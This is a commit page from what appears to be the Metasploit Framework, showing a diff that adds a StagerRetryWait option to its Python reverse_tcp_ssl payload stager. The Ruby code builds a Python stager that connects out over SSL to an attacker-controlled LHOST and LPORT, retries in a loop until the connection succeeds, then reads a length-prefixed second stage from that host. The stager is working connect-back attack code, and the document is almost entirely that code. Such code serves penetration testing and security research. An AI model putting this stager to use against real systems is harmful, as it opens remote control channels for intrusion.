Skip to content

Commit 73be4f1

Browse files
committed
Adding StagerRetryWait option in reverse_tcp_ssl
1 parent 25eda12 commit 73be4f1

File tree

1 file changed

+21
-5
lines changed

1 file changed

+21
-5
lines changed

lib/msf/core/payload/python/reverse_tcp_ssl.rb

Lines changed: 21 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,8 @@ module Payload::Python::ReverseTcpSsl
2222
def generate
2323
conf = {
2424
port: datastore['LPORT'],
25-
host: datastore['LHOST']
25+
host: datastore['LHOST'],
26+
retry_wait: datastore['StagerRetryWait']
2627
}
2728

2829
generate_reverse_tcp_ssl(conf)
@@ -42,10 +43,25 @@ def supports_ssl?
4243

4344
def generate_reverse_tcp_ssl(opts={})
4445
# Set up the socket
45-
cmd = "import ssl,socket,struct\n"
46-
cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
47-
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
48-
cmd << "s=ssl.wrap_socket(so)\n"
46+
cmd = "import ssl,socket,struct#{datastore['StagerRetryWait'].to_i > 0 ? ',time' : ''}\n"
47+
if datastore['StagerRetryWait'].blank? # do not retry at all (old style)
48+
cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
49+
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
50+
cmd << "s=ssl.wrap_socket(so)\n"
51+
else
52+
cmd << "while 1:\n"
53+
cmd << "\ttry:\n"
54+
cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2
55+
cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n"
56+
cmd << "\t\ts=ssl.wrap_socket(so)\n"
57+
cmd << "\t\tbreak\n"
58+
cmd << "\texcept:\n"
59+
if datastore['StagerRetryWait'].to_i <= 0
60+
cmd << "\t\tpass\n" # retry immediately
61+
else
62+
cmd << "\t\ttime.sleep(#{datastore['StagerRetryWait'].to_i})\n" # retry after waiting
63+
end
64+
end
4965
cmd << py_send_uuid if include_send_uuid
5066
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
5167
cmd << "d=s.recv(l)\n"

0 commit comments

Comments
 (0)